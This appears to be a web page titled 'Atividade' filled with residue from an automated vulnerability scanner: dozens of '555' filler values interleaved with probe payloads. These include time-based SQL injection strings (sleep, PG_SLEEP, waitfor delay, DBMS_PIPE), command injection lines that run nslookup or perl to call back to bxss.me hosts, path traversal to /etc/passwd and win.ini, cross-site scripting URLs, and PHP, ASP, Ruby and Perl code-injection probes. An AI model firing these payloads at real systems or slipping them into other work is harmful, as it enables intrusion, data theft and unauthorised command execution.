Atividade

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

1′”

\

@@wy1pL

JyI=

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

http://bxss.me/t/xss.html?%00

“+”A”.concat(70-3).concat(22*4).concat(106).concat(74).concat(122).concat(77)+(require”socket”
Socket.gethostbyname(“hitby”+”khealxfoee6dc.bxss.me.”)[3].to_s)+”

555

bxss.me/t/xss.html?%00

555

‘+’A’.concat(70-3).concat(22*4).concat(106).concat(72).concat(103).concat(65)+(require’socket’
Socket.gethostbyname(‘hitsw’+’rcjlblwad2fe6.bxss.me.’)[3].to_s)+’

555

555

555

555

555

555

555

555

555

555

555

555

555&n994436=v956561

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

EJw9BaH2

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

echo mmgfpn$()\ ubtatj\nz^xyu||a #’ &echo mmgfpn$()\ ubtatj\nz^xyu||a #|” &echo mmgfpn$()\ ubtatj\nz^xyu||a #

555

555

&echo aptrne$()\ jifymg\nz^xyu||a #’ &echo aptrne$()\ jifymg\nz^xyu||a #|” &echo aptrne$()\ jifymg\nz^xyu||a #

555

555

|echo zjtfvy$()\ idqisy\nz^xyu||a #’ |echo zjtfvy$()\ idqisy\nz^xyu||a #|” |echo zjtfvy$()\ idqisy\nz^xyu||a #

555

555

(nslookup hitjavlulkwoy9bae7.bxss.me||perl -e “gethostbyname(‘hitjavlulkwoy9bae7.bxss.me’)”)

555

555

$(nslookup hitulmqntfmkg5d067.bxss.me||perl -e “gethostbyname(‘hitulmqntfmkg5d067.bxss.me’)”)

555

../../../../../../../../../../etc/passwd

&(nslookup hitlqzkawykey4267b.bxss.me||perl -e “gethostbyname(‘hitlqzkawykey4267b.bxss.me’)”)&’\”`0&(nslookup hitlqzkawykey4267b.bxss.me||perl -e “gethostbyname(‘hitlqzkawykey4267b.bxss.me’)”)&`’

555

../../../../../../../../../../windows/win.ini

555

|(nslookup hittbsukpceno833ca.bxss.me||perl -e “gethostbyname(‘hittbsukpceno833ca.bxss.me’)”)

555

555

`(nslookup hitkkazpzovyh3d1b4.bxss.me||perl -e “gethostbyname(‘hitkkazpzovyh3d1b4.bxss.me’)”)`

../555

555

;(nslookup hitxmdxcwhlnxe5b40.bxss.me||perl -e “gethostbyname(‘hitxmdxcwhlnxe5b40.bxss.me’)”)|(nslookup hitxmdxcwhlnxe5b40.bxss.me||perl -e “gethostbyname(‘hitxmdxcwhlnxe5b40.bxss.me’)”)&(nslookup hitxmdxcwhlnxe5b40.bxss.me||perl -e “gethostbyname(‘hitxmdxcwhlnxe5b40.bxss.me’)”)

555

555

555

-1 OR 2+979-979-1=0+0+0+1 —

555

-1 OR 2+440-440-1=0+0+0+1

555

-1′ OR 2+752-752-1=0+0+0+1 —

555

-1′ OR 2+161-161-1=0+0+0+1 or ‘dtEkLaFx’=’

-1″ OR 2+286-286-1=0+0+0+1 —

555

555′

if(now()=sysdate(),sleep(12),0)

555

555

0’XOR(if(now()=sysdate(),sleep(12),0))XOR’Z

555

555

555

0″XOR(if(now()=sysdate(),sleep(12),0))XOR”Z

555

555

(select(0)from(select(sleep(12)))v)/*’+(select(0)from(select(sleep(12)))v)+'”+(select(0)from(select(sleep(12)))v)+”*/

response.write(9752627*9075517)

‘+response.write(9752627*9075517)+’

-1; waitfor delay ‘0:0:12’ —

555

“+response.write(9752627*9075517)+”

-1); waitfor delay ‘0:0:12’ —

${9999721+9999263}

1 waitfor delay ‘0:0:12’ —

syDHz3Ur’; waitfor delay ‘0:0:12’ —

555

-5 OR 593=(SELECT 593 FROM PG_SLEEP(12))–

555

555

-5) OR 935=(SELECT 935 FROM PG_SLEEP(12))–

555

555

555

555

-1)) OR 849=(SELECT 849 FROM PG_SLEEP(12))–

555

555

wSc7lUc4′ OR 70=(SELECT 70 FROM PG_SLEEP(12))–

555

73TQSkRi’) OR 659=(SELECT 659 FROM PG_SLEEP(12))–

555

v9v42xDZ’)) OR 989=(SELECT 989 FROM PG_SLEEP(12))–

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)

555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||’

555

555

555

555

555

555

555

555

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

555

1some_inexistent_file_with_long_name.jpg

555

555

http://bxss.me/t/fit.txt

555

http://bxss.me/t/fit.txt?.jpg

;print(md5(31337));

bxss.me

‘;print(md5(31337));$a=’

“;print(md5(31337));$a=”

555

${@print(md5(31337))}

555

${@print(md5(31337))}\

555

555

‘.print(md5(31337)).’

555

555

555

555

555

555

555

)

‘”()

555

555

!(()&&!|*|*|

555

^(#$!@#$)(()))******

555

555

555

555

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

‘.gethostbyname(lc(‘hitmf’.’mwrtlrbc8af64.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(108).chr(65).chr(111).chr(76).’

555

555

“.gethostbyname(lc(“hitom”.”qkozspth95e43.bxss.me.”)).”A”.chr(67).chr(hex(“58″)).chr(105).chr(67).chr(107).chr(68).”

555

555

555

555

555

555

555

555

555

555

555

555

555

‘”

555

<!–

555

555

555

/xfs.bxss.me

555

555

555

index.php

index.php

555

index.php/.

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555′”()&%2Hxg(9691)

‘”()&%2Hxg(9872)

5559930245

555